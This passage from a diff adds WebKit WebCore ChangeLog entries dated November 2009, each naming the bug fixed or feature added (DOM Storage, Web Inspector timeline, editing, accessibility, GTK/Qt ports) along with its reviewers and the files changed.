+        * dom/ProcessingInstruction.cpp:
+        (WebCore::ProcessingInstruction::ProcessingInstruction):
+
+2009-11-04  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        DOM Storage runtime flag changes
+        https://bugs.webkit.org/show_bug.cgi?id=30602
+
+        Part 2/2.
+
+        Revert my changes to Settings and instead implement DOM Storage enabling via
+        the methods agreed upon in https://bugs.webkit.org/show_bug.cgi?id=30240
+
+        This stuff was (intentionally) never exposed to web pages or DRT, so there's no
+        LayoutTest visible changes and thus no tests.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::sessionStorage):
+        * page/DOMWindow.idl:
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        * page/Settings.h:
+        * storage/Storage.cpp:
+        (WebCore::Storage::setLocalStorageAvailable):
+        (WebCore::Storage::localStorageAvailable):
+        (WebCore::Storage::setSessionStorageAvailable):
+        (WebCore::Storage::sessionStorageAvailable):
+        * storage/Storage.h:
+
+2009-11-05  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Bug 31108 - [V8] REGRESSION: Pause on exception is broken
+        https://bugs.webkit.org/show_bug.cgi?id=31108
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::reportException):
+
+2009-11-05  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dmitri Titov.
+
+        We should not bubble up events if we drag something to an iframe that
+        has an invalid source.
+        https://bugs.webkit.org/show_bug.cgi?id=30469
+
+        Test: http/tests/misc/bubble-drag-events.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleDragAndDropForTarget):
+        (WebCore::EventHandler::updateDragAndDrop):
+        (WebCore::EventHandler::cancelDragAndDrop):
+        (WebCore::EventHandler::performDragAndDrop):
+        * page/EventHandler.h:
+        (WebCore::EventHandler::):
+
+2009-11-05  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: speed up Timelines Clear by a factor of thousands.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31160
+
+        * inspector/front-end/utilities.js:
+        (Element.prototype.removeChildren):
+
+2009-11-05  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        If high memory usage is detected, hint to V8 that it might be due
+        to external objects retained by V8 objects.
+        https://bugs.webkit.org/show_bug.cgi?id=31051
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::GetMemoryUsageInMB):
+        (WebCore::V8GCController::gcEpilogue):
+        (WebCore::V8GCController::checkMemoryUsage):
+        * bindings/v8/V8GCController.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+        (WebCore::V8Proxy::runScript):
+        (WebCore::V8Proxy::callFunction):
+
+2009-11-05  Jeff Schiller  <codedread@gmail.com>
+
+        Reviewed by Simon Fraser.
+
+        Correct order of matrix multiplication for SVGMatrix.
+        https://bugs.webkit.org/show_bug.cgi?id=16062
+
+        Test: svg/dom/SVGMatrix-interface.xhtml
+
+        * bindings/js/JSSVGMatrixCustom.cpp:
+        (WebCore::JSSVGMatrix::multiply):
+        * svg/SVGMatrix.idl:
+
+2009-11-04  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Make resource-related records in timeline
+        actually take some time.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31139
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelinePanel.prototype.reset):
+
+2009-11-04  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Simplify LocalStorageThread
+        https://bugs.webkit.org/show_bug.cgi?id=30935
+
+        This is a re-submit of 50519.  LocalStorageTask should have never been ref
+        counted.  I've removed that and switched a PassRefPtr over to a PassOwnPtr.
+
+        On LocalStoragethread: Remove reference counting. Get rid of locking. Make some
+        of the method names a bit more clear. Assert proper thread usage. Join rather
+        than detaching the thread and doing an ad-hoc form of join. Avoid touching
+        variables on the background thread when simple to do so.  Also create a generic
+        scheduleTask function rather than one for each task.
+
+        No behavior should have changed.
+
+        * storage/LocalStorageTask.h:
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::create):
+        (WebCore::LocalStorageThread::LocalStorageThread):
+        (WebCore::LocalStorageThread::~LocalStorageThread):
+        (WebCore::LocalStorageThread::start):
+        (WebCore::LocalStorageThread::threadEntryPointCallback):
+        (WebCore::LocalStorageThread::threadEntryPoint):
+        (WebCore::LocalStorageThread::scheduleTask):
+        (WebCore::LocalStorageThread::terminate):
+        (WebCore::LocalStorageThread::performTerminate):
+        * storage/LocalStorageThread.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h:
+
+2009-11-04  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Calling databaseIdentifier on LocalStorage's background thread is not safe.
+        https://bugs.webkit.org/show_bug.cgi?id=31149
+
+        Calling SecurityOrigin::databaseIdentifier on LocalStorage's background thread
+        is not safe.  databaseIdentifier does a bunch of string concatenation which
+        ref-counts StringImpls in some cases.  This was caught by valgrind thread
+        sanitizer: http://code.google.com/p/chromium/issues/detail?id=25645
+
+        There's no way to test for such racyness, unfortunately.
+
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        (WebCore::StorageAreaSync::performImport):
+        * storage/StorageAreaSync.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::fullDatabaseFilename):
+        * storage/StorageSyncManager.h:
+
+2009-11-03  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Clean up StorageAreaSync
+        https://bugs.webkit.org/show_bug.cgi?id=31100
+
+        Major fixes: Break the ref count cycle for StorageArea on the main
+        thread, not the background thread since the latter is not safe.
+        Length() needs to block on the import completing.
+
+        Small fixes: setItem needs to handle the copy on write case even if it
+        has an exception.  setItem and removeItem should just bail from the
+        the function if the value hasn't changed rather than wrapping the end
+        in an if block.  Clear should only send an event if it wasn't already
+        cleared.  StorageAreaSync should assert that the final sync was
+        scheduled.
+
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::length):
+          Forgot to block on the import.
+        (WebCore::StorageAreaImpl::key):
+        (WebCore::StorageAreaImpl::setItem):
+          Handle the copy on write case even when there's an exception.
+        (WebCore::StorageAreaImpl::removeItem):
+        (WebCore::StorageAreaImpl::clear):
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::~StorageAreaSync):
+        (WebCore::StorageAreaSync::scheduleFinalSync):
+        (WebCore::StorageAreaSync::performImport):
+        (WebCore::StorageAreaSync::markImported):
+        (WebCore::StorageAreaSync::blockUntilImportComplete):
+        * storage/StorageAreaSync.h:
+
+2009-11-05  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Allow custom memory allocation control for WebCore's CachedResource
+        https://bugs.webkit.org/show_bug.cgi?id=31114
+
+        Inherits CachedResource class from Noncopyable because its (its child
+        class) CachedCSSStyleSheet instantiated by 'new' in WebCore/loader/Cache.cpp:75 
+        and it is no need to be copyable.
+
+        * loader/CachedResource.h:
+
+2009-11-04  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Mark Rowe.
+
+        Separate the difference between HAVE(CGINTERPOLATION_MEDIUM), which
+        is true when building on 10.6 or later, and USE(CGINTERPOLATION_MEDIUM)
+        which is true when targeting 10.6 or later.
+
+        HAVE(CGINTERPOLATION_MEDIUM) indicates that kCGInterpolationMedium
+        is present in the CGInterpolationQuality enum, and must be handled
+        by a switch that has cases for each enumerated value.
+
+        USE(CGINTERPOLATION_MEDIUM) indicates that the product will only run
+        on 10.6 or later, and that CoreGraphics will understand when
+        InterpolationMedium is mapped to kCGInterpolationMedium at runtime.
+
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::GraphicsContext::setImageInterpolationQuality):
+        (WebCore::GraphicsContext::imageInterpolationQuality):
+
+2009-11-04  Dan Kegel  <dank@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix buffer overrun in WebCore::Page::userStyleSheetLocationChanged()
+        https://bugs.webkit.org/show_bug.cgi?id=31138
+
+        Test: LayoutTests/platform/mac/fast/loader/user-stylesheet-fast-path.html in Valgrind
+
+        * page/Page.cpp:
+        (WebCore::Page::userStyleSheetLocationChanged):
+
+2009-11-04  Timothy Hatcher  <timothy@apple.com>
+
+        Update the Web Inspector Timeline panel to better match the mock-up.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31150
+
+        Reviewed by Pavel Feldman.
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelinePanel.prototype._dragWindow):
+        (WebInspector.TimelinePanel.prototype._resizeWindowLeft):
+        (WebInspector.TimelinePanel.prototype._resizeWindowRight):
+        (WebInspector.TimelineCategoryTreeElement.prototype.onattach):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        (WebInspector.TimelineRecordTreeElement.prototype.refresh):
+        (WebInspector.TimelineCategoryGraph):
+        * inspector/front-end/inspector.css:
+
+2009-11-05  Justin Garcia  <justin.garcia@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25439
+        Deleting when in front of a block image removes character from previous paragraph
+
+        Added editing/deleting/25439-{1,2,3}.html
+
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::DeleteSelectionCommand::mergeParagraphs): Block images, tables and HRs cannot 
+        be made inline with other content.  Instead of merging, just move the caret to just before 
+        the selection we deleted.
+        * editing/htmlediting.cpp:
+        (WebCore::firstInSpecialElement): Added a FIXME.  This function begins iterating up from pos.node(), which 
+        doesn't necessarily contain pos (suppose pos was [img, 0]).
+        (WebCore::lastInSpecialElement): Ditto.
+        (WebCore::isRenderedAsNonInlineTableImageOrHR): Moved from visible_units.cpp.  Added a check for non-inline images.
+        * editing/htmlediting.h:
+        * editing/visible_units.cpp:
+        (WebCore::startOfParagraph): Use moved/renamed function.  Removed FIXME.  The problem causing 
+        5027702 is now squarely in first/lastInSpecialElement
+        (WebCore::endOfParagraph): Ditto.
+        
+2009-11-04  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Hang in Mail on attempting to change indent level.
+        <rdar://problem/7131805>
+        https://bugs.webkit.org/show_bug.cgi?id=31127
+
+        The hang was caused by an infinite loop inside outdentRegion.
+        The code did not account for the fact that, when a list item
+        contains multiple paragraphs, outdent moves all paragraphs at
+        once, invalidating some of the positions we keep track of in the loop.
+        Some code refactoring has also been done to minimize duplicated code.
+        
+        Test: editing/execCommand/outdent-multiparagraph-list.html
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::indentRegion): Moved code in common with
+        outdentRegion to doApply.
+        (WebCore::IndentOutdentCommand::outdentRegion): Fixed endless loop.
+        (WebCore::IndentOutdentCommand::doApply): Some code refactoring.
+        * editing/IndentOutdentCommand.h: Added VisiblePosition parameters to
+        indentRegion and outdentRegion.
+
+2009-11-04  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Eric Carlson.
+
+        Volume slider doesn't have a thumb
+        https://bugs.webkit.org/show_bug.cgi?id=31135
+
+        Fixed an incorrect if statement that prevents volume slider
+        being updated.
+
+        The statement checks if the slider value equals to the current
+        volume value of the media control to avoid updating the volume
+        slider. Updating the volume slider control shouldn't be within
+        this condition because we explicitly set them to be equals
+        during creation of the controls and also when mouse events are
+        received on the volume control.
+
+        No new tests because existing code breaks:
+        LayoutTests/media/video-volume-slider.html
+
+        It should now start passing on Chromium.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlVolumeSliderElement::update):
+        Update the volume slider regardless of the current volume value
+        of the media control.
+
+2009-11-04  Jenn Braithwaite  <jennb@chromium.org>
+
+        Reviewed by David Levin.
+
+        Need to properly disable applicationCache at runtime
+        https://bugs.webkit.org/show_bug.cgi?id=30417
+
+        Adding applicationCacheEnabled bit to V8 RuntimeEnabledFeatures.
+
+        No new exposed functionality, so no new tests.
+
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setApplicationCacheEnabled):
+        (WebCore::RuntimeEnabledFeatures::applicationCacheEnabled):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_RUNTIME_ENABLER):
+        * page/DOMWindow.idl:
+
+2009-11-04  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31143
+        Assertion failure in CredentialStorage::set() when proxy credentials are being set
+
+        No test, cannot test proxy behavior.
+
+        * platform/network/CredentialStorage.cpp: (WebCore::CredentialStorage::set): Account for the
+        possibility of null url. Release mode changes are likely inconsequential - e.g. we used to
+        add "://" to origin set, which is weird, but safe.
+
+2009-11-04  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Leftover Breakpoints in the Sidebar Pane
+        https://bugs.webkit.org/show_bug.cgi?id=30659
+
+        No new tests.
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.addScript):
+
+2009-11-04  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Use a different method to identify the webkit port in
+        InspectorBackent::platform().
+        This corrects the inspector expected behavior with Qt on Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=31116
+
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::platform):
+        (WebCore::InspectorBackend::port):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/front-end/InspectorControllerStub.js:
+        (.WebInspector.InspectorControllerStub.prototype.port):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.toolbarDragStart):
+
+2009-11-04  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Update Cairo requirement to 1.6.
+
+        Also remove all conditional code and workarounds for older versions of
+        Cairo.
+        In particular, gain image quality by removing the use of
+        CAIRO_FILTER_NEAREST when rendering images and use the default
+        bilinear filter instead.
+        https://bugs.webkit.org/show_bug.cgi?id=19266
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::clipOut):
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::BitmapImage::draw):
+        (WebCore::BitmapImage::drawPattern):
+        * platform/graphics/cairo/PathCairo.cpp:
+        (WebCore::Path::isEmpty):
+        (WebCore::Path::boundingRect):
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::paintMozWidget):
+
+2009-11-04  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix. Restore removed string conversion after cleanup.
+
+        * platform/graphics/wx/FontPlatformDataWx.cpp:
+        (WebCore::FontPlatformData::computeHash):
+
+2009-11-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        Need to implement ARIA role="combobox"
+        https://bugs.webkit.org/show_bug.cgi?id=31096
+
+        Test: accessibility/aria-combobox.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::isComboBox):
+        (WebCore::AccessibilityObject::isExpanded):
+        (WebCore::AccessibilityObject::expandObject):
+        (WebCore::AccessibilityObject::increment):
+        (WebCore::AccessibilityObject::decrement):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::expandObject):
+        (WebCore::AccessibilityRenderObject::isExpanded):
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilityPerformShowMenuAction]):
+        * html/HTMLAttributeNames.in:
+
+2009-11-04  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fixes naming inconsistencies in TimelineRecordFactory.
+        https://bugs.webkit.org/show_bug.cgi?id=31132
+
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willPaint):
+        (WebCore::InspectorTimelineAgent::willChangeXHRReadyState):
+        (WebCore::InspectorTimelineAgent::willLoadXHR):
+        (WebCore::InspectorTimelineAgent::willEvaluateScript):
+        (WebCore::InspectorTimelineAgent::willSendResourceRequest):
+        (WebCore::InspectorTimelineAgent::didReceiveResourceResponse):
+        (WebCore::InspectorTimelineAgent::didFinishLoadingResource):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createXHRReadyStateChangeRecord):
+        (WebCore::TimelineRecordFactory::createXHRLoadRecord):
+        (WebCore::TimelineRecordFactory::createEvaluateScriptRecord):
+        (WebCore::TimelineRecordFactory::createMarkTimelineRecord):
+        (WebCore::TimelineRecordFactory::createResourceSendRequestRecord):
+        (WebCore::TimelineRecordFactory::createResourceReceiveResponseRecord):
+        (WebCore::TimelineRecordFactory::createResourceFinishRecord):
+        (WebCore::TimelineRecordFactory::createPaintRecord):
+        * inspector/TimelineRecordFactory.h:
+
+2009-11-04  Eric Z. Ayers  <zundel@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Followon to bug 31080, which protects Timeline
+        instrumentation in the case where InspectorTimelineAgent
+        is enabled or disabled during an event dispatch.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31121
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+        * dom/Document.cpp:
+        (WebCore::Document::recalcStyle):
+        * dom/Node.cpp:
+        (WebCore::Node::dispatchGenericEvent):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::write):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::inspectorTimelineAgent):
+        (WebCore::DOMWindow::dispatchEvent):
+        * page/DOMWindow.h:
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        (WebCore::FrameView::paintContents):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::callReadyStateChangeListener):
+
+2009-11-04  Jeremy Orlow  <jorlow@chromium.org>
+
+        Revert 50519 while I work out what went wrong.
+
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::create):
+        (WebCore::LocalStorageThread::LocalStorageThread):
+        (WebCore::LocalStorageThread::start):
+        (WebCore::LocalStorageThread::localStorageThreadStart):
+        (WebCore::LocalStorageThread::localStorageThread):
+        (WebCore::LocalStorageThread::scheduleImport):
+        (WebCore::LocalStorageThread::scheduleSync):
+        (WebCore::LocalStorageThread::terminate):
+        (WebCore::LocalStorageThread::performTerminate):
+        * storage/LocalStorageThread.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h:
+
+2009-11-04  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add basic support for resource events and marks.
+        Couple of drive-by fixes. Enabling the panel!
+
+        https://bugs.webkit.org/show_bug.cgi?id=31130
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelinePanel.prototype._getRecordDetails):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelineCategoryTreeElement.prototype._onCheckboxClicked):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+
+2009-11-03  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Simplify LocalStorageThread
+        https://bugs.webkit.org/show_bug.cgi?id=30935
+
+        On LocalStoragethread: Remove reference counting. Get rid of locking. Make some
+        of the method names a bit more clear. Assert proper thread usage. Join rather
+        than detaching the thread and doing an ad-hoc form of join. Avoid touching
+        variables on the background thread when simple to do so.  Also create a generic
+        scheduleTask function rather than one for each task.
+
+        No behavior should have changed.
+
+        * storage/LocalStorageThread.cpp:
+        (WebCore::LocalStorageThread::create):
+        (WebCore::LocalStorageThread::LocalStorageThread):
+        (WebCore::LocalStorageThread::~LocalStorageThread):
+        (WebCore::LocalStorageThread::start):
+        (WebCore::LocalStorageThread::threadEntryPointCallback):
+        (WebCore::LocalStorageThread::threadEntryPoint):
+        (WebCore::LocalStorageThread::scheduleTask):
+        (WebCore::LocalStorageThread::terminate):
+        (WebCore::LocalStorageThread::performTerminate):
+        * storage/LocalStorageThread.h:
+        * storage/StorageSyncManager.cpp:
+        (WebCore::StorageSyncManager::StorageSyncManager):
+        (WebCore::StorageSyncManager::~StorageSyncManager):
+        (WebCore::StorageSyncManager::scheduleImport):
+        (WebCore::StorageSyncManager::scheduleSync):
+        * storage/StorageSyncManager.h:
+
+2009-11-04  Vadim Zeitlin  <vadim@wxwidgets.org>
+
+        Reviewed by Eric Seidel.
+
+        [wx] Small cleanup: avoid unnecessary wxString::mb_str() calls.
+
+        * platform/graphics/wx/FontPlatformDataWx.cpp:
+        (WebCore::FontPlatformData::computeHash):
+
+2009-11-04  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Adds lightweight network resources to InspectorTimelineAgent.
+        https://bugs.webkit.org/show_bug.cgi?id=31065
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willSendResourceRequest):
+        (WebCore::InspectorTimelineAgent::didReceiveResourceResponse):
+        (WebCore::InspectorTimelineAgent::didFinishLoadingResource):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createResourceSendRequestTimelineRecord):
+        (WebCore::TimelineRecordFactory::createResourceReceiveResponseTimelineRecord):
+        (WebCore::TimelineRecordFactory::createResourceFinishTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+
+2009-11-04  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] ASSERT failure when receiving 401 HTTP Authentication response.
+        https://bugs.webkit.org/show_bug.cgi?id=31077
+
+        Allow sending the response body under the same conditions that we
+        allow it to finish without reporting an error.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
+
+2009-11-04  Adam Roben  <aroben@apple.com>
+
+        Sort WebCore.base.exp
+
+        Rubber-stamped by Dan Bernstein.
+
+        * WebCore.base.exp: Sorted.
+
+2009-11-04  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Unreviewed rollout.
+
+        Revert r50496 because it broke all layout tests on QtBuildBot.
+
+        * WebCore.pro:
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::fontCache):
+        (WebCore::FontCache::FontCache):
+        (WebCore::FontCache::getTraitsInFamily):
+        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
+        (WebCore::FontPlatformDataCacheKey::isHashTableDeletedValue):
+        (WebCore::FontPlatformDataCacheKey::):
+        (WebCore::FontPlatformDataCacheKey::operator==):
+        (WebCore::FontPlatformDataCacheKey::hash):
+        (WebCore::FontPlatformDataCacheKey::computeHash):
+        (WebCore::FontPlatformDataCacheKey::hashTableDeletedSize):
+        (WebCore::FontPlatformDataCacheKeyHash::hash):
+        (WebCore::FontPlatformDataCacheKeyHash::equal):
+        (WebCore::FontPlatformDataCacheKeyTraits::emptyValue):
+        (WebCore::FontPlatformDataCacheKeyTraits::constructDeletedValue):
+        (WebCore::FontPlatformDataCacheKeyTraits::isDeletedValue):
+        (WebCore::FontCache::getCachedFontPlatformData):
+        (WebCore::FontCache::getCachedFontData):
+        (WebCore::FontCache::getLastResortFallbackFont):
+        (WebCore::FontCache::releaseFontData):
+        (WebCore::FontCache::purgeInactiveFontData):
+        (WebCore::FontCache::addClient):
+        (WebCore::FontCache::removeClient):
+        (WebCore::FontCache::invalidate):
+        * platform/graphics/qt/FontFallbackListQt.cpp: Added.
+        (WebCore::FontFallbackList::FontFallbackList):
+        (WebCore::FontFallbackList::invalidate):
+        (WebCore::FontFallbackList::releaseFontData):
+        (WebCore::FontFallbackList::determinePitch):
+        (WebCore::FontFallbackList::fontDataAt):
+        (WebCore::FontFallbackList::fontDataForCharacters):
+        (WebCore::FontFallbackList::setPlatformFont):
+        * platform/graphics/qt/FontPlatformData.h:
+        (WebCore::FontPlatformData::pixelSize):
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+
+2009-11-04  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31044
+        [Gtk] assertion when webkit_accessible_get_index_in_parent attempts to get parent of the web view
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (atkParentOfWebView):
+        (webkit_accessible_get_index_in_parent):
+        (webkit_accessible_get_parent):
+
+2009-11-04  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=15914
+        [GTK] Implement Unicode functionality using GLib
+
+        Initial version of this patch by Jürg Billeter and Naiem Shaik.
+        Patch 2/4 - Moving TextCodecs to GLib
+        
+        Added probing for a hard-coded lists of text encodings.
+        The basis of this list is taken from the encodings supported by iconv,
+        then extended by e.g. tis-620, windows-1251, euc-kr, windows-1253 and
+        a number of Chinese ones.
+
+        Probing is necessary with the current design of text codecs
+        as iconv/GLib do not support enumerating available encodings.
+
+        * GNUmakefile.am:
+        * platform/ThreadGlobalData.cpp:
+        (WebCore::ThreadGlobalData::ThreadGlobalData):
+        (WebCore::ThreadGlobalData::~ThreadGlobalData):
+        * platform/text/TextEncoding.cpp:
+        (WebCore::TextEncoding::encode):
+        * platform/text/TextEncodingRegistry.cpp:
+        (WebCore::buildBaseTextCodecMaps):
+        (WebCore::extendTextCodecMaps):
+        * platform/text/gtk/TextCodecGtk.cpp: Added.
+        (WebCore::):
+        (WebCore::newTextCodecGtk):
+        (WebCore::TextCodecGtk::isEncodingAvailable):
+        (WebCore::TextCodecGtk::registerEncodingNames):
+        (WebCore::TextCodecGtk::registerCodecs):
+        (WebCore::TextCodecGtk::registerBaseEncodingNames):
+        (WebCore::TextCodecGtk::registerBaseCodecs):
+        (WebCore::TextCodecGtk::registerExtendedEncodingNames):
+        (WebCore::TextCodecGtk::registerExtendedCodecs):
+        (WebCore::TextCodecGtk::TextCodecGtk):
+        (WebCore::TextCodecGtk::~TextCodecGtk):
+        (WebCore::TextCodecGtk::releaseIConv):
+        (WebCore::TextCodecGtk::createIConvDecoder):
+        (WebCore::TextCodecGtk::createIConvEncoder):
+        (WebCore::TextCodecGtk::decode):
+        (WebCore::TextCodecGtk::encode):
+        * platform/text/gtk/TextCodecGtk.h: Added.
+
+2009-11-04  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        [GTK] Enable DOM clipboard and drag-and-drop access
+        https://bugs.webkit.org/show_bug.cgi?id=30623
+
+        Unify redudant methods which will always return the same value.
+
+        * platform/gtk/PasteboardGtk.cpp:
+        (WebCore::Pasteboard::writeSelection):
+        * platform/gtk/PasteboardHelper.h:
+
+2009-11-04  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31035
+        [GTK] some accessibility tests hitting assertion in debug builds
+
+        Removes the assertions in webkit_accessible_ref_child; adds sanity checks.
+        Any app or AT can attempt to ref a child at a bogus index.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_ref_child):
+
+2009-11-04  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Jan Alonzo.
+
+        [gtk] Use gst_element_class_set_details_simple()
+
+        Cosmetic change, just code simplification
+
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_base_init):
+2009-11-04  Kelly Norton  <knorton@google.com>
+
